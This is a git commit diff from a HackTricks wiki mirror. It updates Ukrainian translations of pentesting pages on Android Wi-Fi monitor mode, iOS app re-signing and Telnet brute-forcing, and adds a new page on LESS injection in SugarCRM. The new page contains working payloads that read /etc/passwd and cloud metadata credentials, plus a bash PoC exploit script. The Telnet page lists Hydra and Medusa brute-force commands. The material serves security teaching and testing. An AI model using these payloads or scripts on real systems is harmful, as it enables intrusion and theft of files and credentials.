mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
c7417a1c44
commit
a5a3990c3c
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
Більшість сучасних телефонів Android оснащені чіпсетом Wi-Fi Broadcom/Cypress, який постачається без можливостей режиму моніторингу 802.11 або ін'єкції кадрів. Відкритий фреймворк NexMon патчує власне ПЗ, щоб додати ці функції та надає їх через спільну бібліотеку (`libnexmon.so`) та CLI допоміжний засіб (`nexutil`). Завантажуючи цю бібліотеку в стандартний драйвер Wi-Fi, пристрій з root-доступом може захоплювати сирий трафік 802.11 та ін'єктувати довільні кадри – усуваючи необхідність у зовнішньому USB-адаптері.
|
||||
Більшість сучасних телефонів Android оснащені чіпсетом Wi-Fi Broadcom/Cypress, який постачається без можливостей режиму моніторингу 802.11 або ін'єкції кадрів. Відкритий фреймворк NexMon патчує власне ПЗ, щоб додати ці функції та надає їх через спільну бібліотеку (`libnexmon.so`) та CLI допоміжну програму (`nexutil`). Завантажуючи цю бібліотеку в стандартний драйвер Wi-Fi, пристрій з root-доступом може захоплювати сирий трафік 802.11 та ін'єктувати довільні кадри – усуваючи необхідність у зовнішньому USB-адаптері.
|
||||
|
||||
Ця сторінка документує швидкий робочий процес, який використовує повністю патчений Samsung Galaxy S10 (BCM4375B1) як приклад, використовуючи:
|
||||
|
||||
* Модуль NexMon Magisk, що містить патчений прошивку + `libnexmon.so`
|
||||
* Додаток Hijacker для автоматизації перемикання режиму моніторингу
|
||||
* Додатковий Kali NetHunter chroot для запуску класичних бездротових інструментів (aircrack-ng, wifite, mdk4 …) безпосередньо проти внутрішнього інтерфейсу
|
||||
* Додатково Kali NetHunter chroot для запуску класичних бездротових інструментів (aircrack-ng, wifite, mdk4 …) безпосередньо проти внутрішнього інтерфейсу
|
||||
|
||||
Та ж техніка застосовується до будь-якого телефону, для якого доступний публічний патч NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 тощо).
|
||||
|
||||
@ -22,8 +22,8 @@
|
||||
* NexMon Magisk ZIP або самостійно скомпільований патч, що надає:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* (Додатково) Kali NetHunter або будь-який Linux chroot, де ви плануєте запускати бездротові інструменти
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (Необов'язково) Kali NetHunter або будь-який Linux chroot, де ви плануєте запускати бездротові інструменти
|
||||
|
||||
---
|
||||
|
||||
@ -51,9 +51,9 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
|
||||
Disable monitor mode:
|
||||
nexutil -m0; svc wifi enable
|
||||
```
|
||||
Увімкніть “Start monitor mode on airodump start”, щоб кожен скан Hijacker відбувався в рідному моніторному режимі (`wlan0` замість `wlan0mon`).
|
||||
Увімкніть “Start monitor mode on airodump start”, щоб кожен скан Hijacker відбувався в рідному моніторинговому режимі (`wlan0` замість `wlan0mon`).
|
||||
|
||||
Якщо Hijacker показує помилки під час запуску, створіть необхідний каталог на загальному сховищі та знову відкрийте додаток:
|
||||
Якщо Hijacker показує помилки під час запуску, створіть необхідний каталог на спільному сховищі та знову відкрийте додаток:
|
||||
```bash
|
||||
mkdir -p /storage/emulated/0/Hijacker
|
||||
```
|
||||
@ -115,7 +115,7 @@ wifite -i wlan0 # або aircrack-ng, mdk4 …
|
||||
## Усунення неполадок
|
||||
* `Device or resource busy` – переконайтеся, що **сервіс Wi-Fi Android вимкнено** (`svc wifi disable`) перед увімкненням моніторного режиму.
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – бібліотека не попередньо завантажена; перевірте шлях `LD_PRELOAD`.
|
||||
* Ін'єкція кадрів працює, але пакети не захоплені – деякі ROM жорстко блокують канали; спробуйте `nexutil -c <channel>` або `iwconfig wlan0 channel <n>`.
|
||||
* Ін'єкція кадрів працює, але пакети не захоплюються – деякі ROM жорстко блокують канали; спробуйте `nexutil -c <channel>` або `iwconfig wlan0 channel <n>`.
|
||||
* SELinux блокує бібліотеку – встановіть пристрій у *Permissive* або виправте контекст модуля: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||
|
||||
---
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
Застосунки, підписані з **правом `get_task_allow`**, дозволяють стороннім застосункам виконувати функцію **`task_for_pid()`** з ідентифікатором процесу початкового застосунку як аргумент, щоб отримати порт завдання над ним (мати можливість контролювати його та отримувати доступ до його пам'яті).
|
||||
|
||||
Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис змінюється, ключ DRM (управління цифровими правами) **анулюється, і застосунок не працюватиме**.
|
||||
Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис зміниється, ключ DRM (управління цифровими правами) **стає недійсним, і застосунок не працюватиме**.
|
||||
|
||||
З старим джейлбрейкнутим пристроєм можливо встановити IPA, **декодувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта декодований IPA.
|
||||
З старим джейлбрейкнутим пристроєм можна встановити IPA, **декодувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта декодований IPA.
|
||||
|
||||
|
||||
## Отримати декодований IPA
|
||||
@ -19,7 +19,7 @@
|
||||
2. Встановіть і запустіть [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) на вашому macos
|
||||
3. Відкрийте `Terminal` на вашому Mac і перейдіть до `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA з'явиться в цій папці пізніше.
|
||||
4. Ви повинні побачити свій iOS пристрій. Двічі клацніть на ньому, а потім натисніть Додати + → Застосунки у верхньому меню.
|
||||
5. Після натискання Додати, Configurator завантажить IPA з Apple і спробує надіслати його на ваш пристрій. Якщо ви раніше виконали мою рекомендацію і вже встановили IPA, з'явиться запит на повторну установку застосунку.
|
||||
5. Після натискання Додати, Configurator завантажить IPA з Apple і спробує надіслати його на ваш пристрій. Якщо ви слідували моїм рекомендаціям раніше і вже встановили IPA, з'явиться запит на повторну установку застосунку.
|
||||
6. IPA має бути завантажено в `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, звідки ви можете його забрати.
|
||||
|
||||
Перевірте [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) для отримання більш детальної інформації про цей процес.
|
||||
@ -49,13 +49,13 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
Після встановлення ви можете використовувати **Iridium tweak** з Cydia, щоб отримати розшифрований IPA.
|
||||
|
||||
|
||||
### Патчинг прав та повторне підписання
|
||||
### Патчування прав та повторне підписання
|
||||
|
||||
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль для використання.
|
||||
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль провізії для використання.
|
||||
|
||||
Щодо сертифіката та профілів підписання, Apple пропонує **безкоштовні профілі підписання для розробників** для всіх облікових записів через Xcode. Просто створіть додаток і налаштуйте один. Потім налаштуйте **iPhone, щоб довіряти додаткам розробника**, перейшовши в `Settings` → `Privacy & Security`, і натисніть на `Developer Mode`.
|
||||
|
||||
З повторно підписаним IPA настав час встановити його на пристрій для пентестування:
|
||||
З повторно підписаним IPA настав час встановити його на пристрій для тестування:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -92,11 +92,11 @@ objection -g "com.example.target" explore
|
||||
# Or plain Frida
|
||||
frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
Останні версії Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють без додаткових налаштувань.
|
||||
Останні випуски Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють з коробки.
|
||||
|
||||
### Автоматизований динамічний аналіз з MobSF (без джейлбрейка)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) може інструментувати IPA з підписом розробника на реальному пристрої, використовуючи ту ж техніку (`get_task_allow`), і надає веб-інтерфейс з браузером файлової системи, захопленням трафіку та консоллю Frida【†L2-L3】. Найшвидший спосіб - запустити MobSF у Docker, а потім підключити ваш iPhone через USB:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) може інструментувати IPA з підписом розробника на реальному пристрої, використовуючи ту ж техніку (`get_task_allow`), і надає веб-інтерфейс з браузером файлової системи, захопленням трафіку та консоллю Frida【】. Найшвидший спосіб - запустити MobSF у Docker, а потім підключити ваш iPhone через USB:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -109,7 +109,7 @@ MobSF автоматично розгорне бінарний файл, уві
|
||||
### iOS 17 та застереження режиму блокування
|
||||
|
||||
* **Режим блокування** (Налаштування → Конфіденційність та безпека) блокує динамічний зв'язувач від завантаження непідписаних або зовнішньо підписаних динамічних бібліотек. При тестуванні пристроїв, на яких може бути увімкнено цей режим, переконайтеся, що він **вимкнений**, інакше ваші сесії Frida/objection завершаться негайно.
|
||||
* Аутентифікація вказівників (PAC) застосовується на всіх пристроях A12+. Frida ≥16 прозоро обробляє зняття PAC — просто підтримуйте актуальними як *frida-server*, так і Python/CLI інструменти, коли виходить нова основна версія iOS.
|
||||
* Аутентифікація вказівників (PAC) застосовується на всіх пристроях A12+. Frida ≥16 прозоро обробляє зняття PAC — просто підтримуйте актуальними як *frida-server*, так і Python/CLI інструментальний набір, коли виходить нова основна версія iOS.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -73,7 +73,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Переповнення буфера на основі стеку в команді Telnet CLI `passwd` дозволяє сусідньому зловмиснику обійти автентифікацію та виконати довільний код як root.
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: Двобайтовий рядок (`0xff 0xf7` / `0xff 0xf8`) викликає розіменування NULL-вказівника, що може призвести до збою `telnetd`, в результаті чого виникає постійний DoS після кількох збоїв.
|
||||
|
||||
Тримайте ці CVE на увазі під час триажу вразливостей — якщо ціль працює на непатченої прошивці або застарілому демоні inetutils Telnet, ви можете мати простий шлях до виконання коду або деструктивного DoS.
|
||||
Тримайте ці CVE на увазі під час триажу вразливостей — якщо ціль працює на непатченої прошивці або застарілому демоні Telnet inetutils, ви можете мати простий шлях до виконання коду або деструктивного DoS.
|
||||
|
||||
### Перехоплення облікових даних та атака "людина посередині"
|
||||
|
||||
@ -87,7 +87,7 @@ tcp.port == 23 && (telnet.data || telnet.option)
|
||||
```
|
||||
Для активного MITM поєднайте ARP спуфінг (наприклад, `arpspoof`/`ettercap`) з тими ж фільтрами для перехоплення паролів у комутованих мережах.
|
||||
|
||||
### Автоматизований брутфорс / Спрайінг паролів
|
||||
### Автоматизований брутфорс / Спрей паролів
|
||||
```bash
|
||||
# Hydra (stop at first valid login)
|
||||
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
|
||||
@ -104,7 +104,7 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||||
|
||||
Metasploit має кілька корисних модулів:
|
||||
|
||||
* `auxiliary/scanner/telnet/telnet_version` – виведення банера та перерахування опцій.
|
||||
* `auxiliary/scanner/telnet/telnet_version` – отримання банера та перерахування опцій.
|
||||
* `auxiliary/scanner/telnet/brute_telnet` – багатопотоковий брутфорс.
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE проти вразливого Solaris 9/10 Telnet (обробка опції ENCRYPT).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – активує службу telnet за допомогою спеціально підготовленого пакета на багатьох маршрутизаторах NETGEAR.
|
||||
@ -114,13 +114,13 @@ Metasploit має кілька корисних модулів:
|
||||
### Укріплення та виявлення (куток синьої команди)
|
||||
|
||||
1. Вибирайте SSH і повністю вимкніть службу Telnet.
|
||||
2. Якщо Telnet необхідний, прив'яжіть його лише до VLAN для управління, забезпечте ACL і обгорніть демон за допомогою TCP обгорток (`/etc/hosts.allow`).
|
||||
2. Якщо Telnet необхідний, прив'яжіть його лише до VLAN для управління, забезпечте ACL і обгорніть демон за допомогою TCP wrappers (`/etc/hosts.allow`).
|
||||
3. Замініть застарілі реалізації `telnetd` на `ssl-telnet` або `telnetd-ssl`, щоб додати шифрування транспорту, але **це лише захищає дані в русі—вгадування паролів залишається тривіальним**.
|
||||
4. Моніторте вихідний трафік на порт 23; компрометації часто запускають зворотні оболонки через Telnet, щоб обійти суворі фільтри виходу HTTP.
|
||||
4. Моніторте вихідний трафік на порт 23; компрометації часто запускають зворотні оболонки через Telnet, щоб обійти суворі HTTP фільтри виходу.
|
||||
|
||||
## Посилання
|
||||
|
||||
* D-Link Advisory – CVE-2024-45698 Критичний Telnet RCE.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Code Injection leading to SSRF & Local File Read
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
|
||||
LESS є популярним CSS препроцесором, який додає змінні, міксини, функції та потужну директиву `@import`. Під час компіляції движок LESS **отримує ресурси, на які посилаються в директивах `@import`** і вбудовує ("inline") їх вміст у результуючий CSS, коли використовується опція `(inline)`.
|
||||
|
||||
Коли додаток конкатенує **вхідні дані, контрольовані користувачем**, у рядок, який пізніше обробляється компілятором LESS, зловмисник може **впровадити довільний код LESS**. Зловживаючи `@import (inline)`, зловмисник може змусити сервер отримати:
|
||||
|
||||
* Локальні файли через протокол `file://` (розкриття інформації / Локальне включення файлів).
|
||||
* Віддалені ресурси в внутрішніх мережах або службах метаданих хмари (SSRF).
|
||||
|
||||
Цю техніку було помічено в реальних продуктах, таких як **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
|
||||
|
||||
## Експлуатація
|
||||
|
||||
1. Визначте параметр, який безпосередньо вбудований у рядок стилю, оброблений движком LESS (наприклад, `?lm=` в SugarCRM).
|
||||
2. Закрийте поточну директиву та впровадьте нові директиви. Найбільш поширені примітиви:
|
||||
* `;` – завершує попереднє оголошення.
|
||||
* `}` – закриває попередній блок (якщо потрібно).
|
||||
3. Використовуйте `@import (inline) '<URL>';` для читання довільних ресурсів.
|
||||
4. За бажанням впровадьте **маркер** (`data:` URI) після імпорту, щоб полегшити витяг вмісту, отриманого з скомпільованого CSS.
|
||||
|
||||
### Читання локальних файлів
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
Вміст файлу `/etc/passwd` з'явиться в HTTP-відповіді безпосередньо перед маркером `@@END@@`.
|
||||
|
||||
### SSRF – Хмарні метадані
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### Автоматизований PoC (приклад SugarCRM)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Виявлення
|
||||
|
||||
* Шукайте динамічно згенеровані `.less` або `.css` відповіді, що містять несанітизовані параметри запиту.
|
||||
* Під час перегляду коду шукайте конструкції на кшталт `"@media all { .preview { ... ${userInput} ... } }"`, передані функціям рендерингу LESS.
|
||||
* Спроби експлуатації часто включають `@import`, `(inline)`, `file://`, `http://169.254.169.254` тощо.
|
||||
|
||||
## Заходи з пом'якшення
|
||||
|
||||
* Не передавайте ненадійні дані компілятору LESS.
|
||||
* Якщо потрібні динамічні значення, належним чином **екрануйте**/санітуйте їх (наприклад, обмежте числовими токенами, білого списку).
|
||||
* Вимкніть, коли це можливо, можливість використовувати `(inline)` імпорти або обмежте дозволені протоколи до `https`.
|
||||
* Тримайте залежності в актуальному стані – SugarCRM виправила цю проблему в версіях 13.0.4 та 14.0.1.
|
||||
|
||||
## Реальні випадки
|
||||
|
||||
| Продукт | Вразливий кінець | Вплив |
|
||||
|---------|------------------|-------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Неавтентифікований SSRF та читання локальних файлів |
|
||||
|
||||
## Посилання
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,7 +1,13 @@
|
||||
# Платформи вразливі до SSRF
|
||||
# SSRF Вразливі Платформи
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Перевірте **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` ін'єкція в `/rest/v10/css/preview` дозволяє неавтентифікований SSRF та читання локальних файлів.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user